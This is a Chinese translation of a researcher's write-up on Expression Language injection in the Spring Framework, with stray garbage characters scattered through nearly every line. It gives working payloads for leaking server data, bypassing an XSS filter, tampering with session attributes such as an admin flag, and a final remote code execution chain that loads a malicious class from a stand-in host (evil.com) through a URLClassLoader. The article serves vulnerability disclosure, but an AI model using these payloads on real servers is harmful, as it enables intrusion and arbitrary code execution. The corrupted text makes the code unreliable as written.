Remote Code with6 I; [; G1 A* ^
Expression Language Injection
* q9 T. d8 I* U4 RSpring Framework脆弱性—DanAmodio6 |2 d( V! a: G( i
全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中% R, P+ W3 A& ?" z" e
可能会存在风险。
0 P& N* Q! L _' d在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的
, h# h# n+ _& `" J1 C( Q& DArshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可3 f6 n5 ]& D. g8 K$ Y
以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,+ s2 n# P: q- c
以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前 W4 ~3 q8 q6 j4 g. t, q# E/ `
版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。6 X3 Z% W+ j L7 I
由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但
. D' h7 h* C' P$ }1 W我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版2 @8 V# x# T8 v' C/ X
本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。) [ ~, o/ w8 y# g
这些版本不支持禁用double EL resolution.9 _4 k( t5 O5 E1 R- U
这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含
{3 ~; I% |* q. v0 `EL2.2容器上可能进行远程代码执行。 Q k0 t2 [/ C0 g! a2 \# t4 M7 \
这是一个原始信息泄露的攻击例子:
- A( }: }# f2 x y4 Q请求:
3 u8 e2 c# U* ottp://vulnerable.com/foo?message=${applicationScope}
8 X& c' D' T0 y- m- W到达以下内容页面:; Y& a L+ o5 ~# T" V
结果将输出一些包含内部服务器信息calsspath 和本地工作目录
; P) v6 c6 z4 s8 y w5 e你也可以做一些其他事情,如这样:
- O) Y, Y# o6 H! _+ C( G: |- l${9999+1}
5 G! g0 y0 ]+ g' v. `2 _还可以访问session 对象和beans+ I/ @/ O2 j) o6 q7 b& L
${employee.lastName}
' d" L, ]9 n4 z0 U& ]在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是
4 U4 W% s# x! g# V; g+ r/ m8 tEL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东5 `/ M% ^ [% [5 i7 P9 g
西,比如XSS.
- l5 V. x! G. r% L- d" r' Y* s哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签
+ c$ Z# [' J. E6 A% l突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤; Z' S9 e# B4 d( u
呢?”: e& O( c" y* ^
因此,我尝试巳缦拢�, X9 j2 F8 W( n- z5 k
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP9 _9 Q$ H+ ^8 b: J2 R; a, m
P
8 Y \# g% E7 ^2 k我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返
8 h: ]- M, s- Q5 a1 F回的文本被插入进了spring:message 标签。3 P1 _' D+ I1 y1 l0 N1 I+ P
这里是一个最终绕过过滤的实例:
* v) y$ ~- s% h) I4 y$ K. e3 Hhttp://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1) /scriptQ
7 W0 U8 X% i3 t) @它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为
4 ^% m' I3 T: j1 G# |0 ~0 x$ M什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?; y h, h$ w0 ]" }* c
经过一番研究,我学习到EL2.2 增加了方法调用。0 w. D0 d4 ~% d$ [+ @6 F
我写了一个快速测试应用程序代码并且检测一些功能
, u% M, o6 G4 {6 q${pageContext.request.getSession().setAttribute(“account”,”123456″)}
6 K0 C, `" M" j; [9 z+ p${pageContext.request.getSession().setAttribute(“admin”,true)}4 h( G+ p7 G' Y0 a
好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的
9 W* P2 _" v7 V% @9 K( g指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?
% G5 P- x- B v6 b/ ~2 l& K. ^1 o( P${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1- s+ G0 a: @1 \/ v
“, 1234)}. g; X* _8 C! H: ?
${“”.getClass().forName(“java.lang.Runtime”)}" _% c& Q1 P; V J
哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不
& u+ D4 ~( ~, k0 Y# |可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函" C6 ^7 M+ C; ?% x, p& b
数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有
A0 N2 Y0 U7 x }' O: x5 w: W一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于3 J- H: G5 e+ Z
方法签名invoke(Object obj, Object„ args)
% G$ c8 f% H4 }% ^+ uJeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问
# B) P2 C$ H( G- H& o5 p题,以让它可以工作起来。6 ], t. ~/ s! g. m' T8 x
漏洞利用:
" E: S9 U* }7 x7 p' A( {: A我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我4 _$ l0 x' i/ o. |5 \
希望你们中的一些JAVA奇才告诉我我是如此的可笑。7 e6 ]4 e8 J- l# \
这里有一些我试过的失败的用例,为了试图让它工作的用例:: n% {" ]# W! z |
写文件到文件系统
0 F: I5 t- l7 q9 A4 u 试图载入org.springframework.expression.spel.standard.SpelExpressionParser.
( q6 v" l- @! I0 I% |8 E3 V" O( M我认为这些可以很好的工作,但是我不能找到合适的类来载入。
( p2 t$ m3 B- g& g; Z& k${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}
* h" u7 h7 Z2 Jjavax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:
7 E# c4 g9 C. |* M: Z9 Worg.springframework.expression.spel.standard.SpelExpressionParser not found
$ e0 W. c4 m& v- `* K1 Sby
; g1 @8 h2 F; [org.glassfish.web.javax.servlet.jsp [194].+ T ~2 v, Z' h4 @/ G
利用反射来修改java.lang.Runtime.currentRuntime的属性为Public& F& k* {; c6 H
利用反射来创建一个新的Runtime(and watch the world burn)
, m4 `4 |' N4 v3 J${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName+ \* X0 c$ k' F0 R3 U; J/ i3 t
(“java.lang.Runtime”)).getDeclaredConstructors()[0])}; s0 C4 o3 D4 L2 t
${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}+ F( n+ L% p- ~9 {4 Z( [! F
使用java.lang.ProcessBuilder/ {) v, ^0 k! i, w
用表达式语言来评估表达式语言
( g# y3 I$ N; o L' xExpression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.# M; T* R3 r/ ^8 j& y& T* R
${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request% I& x7 H* z( E! Z+ x. G
“,”".getClass(),null)}
p$ F5 }" s+ z- l 创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)
- g' c, ^) r5 `" c; S, ~$ c我在使用一个空数组通过Method.invoke()时失败了很多次, t7 ^8 Q+ r5 ]4 k9 B# e
“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo% {" d2 @0 r/ W/ ?
.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A E! d) ]% W' s4 p+ ?; y7 G0 ^
rrayList”).newInstance().toArray())
' Z6 P- a( O6 F9 F5 C" L" Vjava.lang.IllegalArgumentException: wrong number of arguments# l/ {! M8 Z2 _3 p. D: _
最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可
2 N& o7 [3 d! s0 k0 S; A; Z, ?以创建一个恶意class文件并且指向类装载器.
8 P9 N6 E% D! g0 i我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:
) a0 P" h9 }- G7 D! mpublic class Malicious { U- b9 k- } E+ z# C1 ]
public Malicious() {
( p( i3 s1 a6 V8 a& Xtry {
" q2 N7 {' b X3 p( f! n) N Jjava.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac
_3 t# R) D- ]8 q) S( i% cjava.lang.Runtime.getRuntime().exec(“calc.exe”); //Win
. j5 r7 y$ k4 ~2 M} catch (Exception e) {( u+ w0 i' P4 `3 ^# m8 c
}- e& H' W7 j+ ^, v' g( M; i
}3 `0 i0 F7 E# y' ]
我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回+ o3 A( Q- I! n; G0 [
话中,因此它可以被使用., L0 s ?" n* e
${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName
3 S0 d% Z- a/ A2 j4 m* S! `8 z(“java.util.ArrayList”).newInstance())}
$ G/ R- y: ^; A1 h4 KURLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建
# h+ i& u9 O) C) S9 V* p; n一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和
8 u S. D: w) c* {! A% agetResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个% O' X6 T7 D) p5 B& H. V6 v. b
我们可以调用的create(string)方法,然后转换对一个URL对象。
" h/ ?+ u# s0 B# _8 E${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh
! T8 c2 s) ]0 T7 @$ A! rere/malicious/classfile/is/located/”).toURL())}
, p! ?' q! m. x! A4 ?! y然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,
1 P( h- e: @" ]6 J恶意类文件被装载并创建,触发远程代码.# x: U. p: z" F" k. P& _$ H8 `
${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte X+ T& i" v$ e+ [$ A% G
xt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().
) V9 @- `5 s. P- o, `getClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance
1 L5 w7 V* |, w, z: V2 D6 {()} |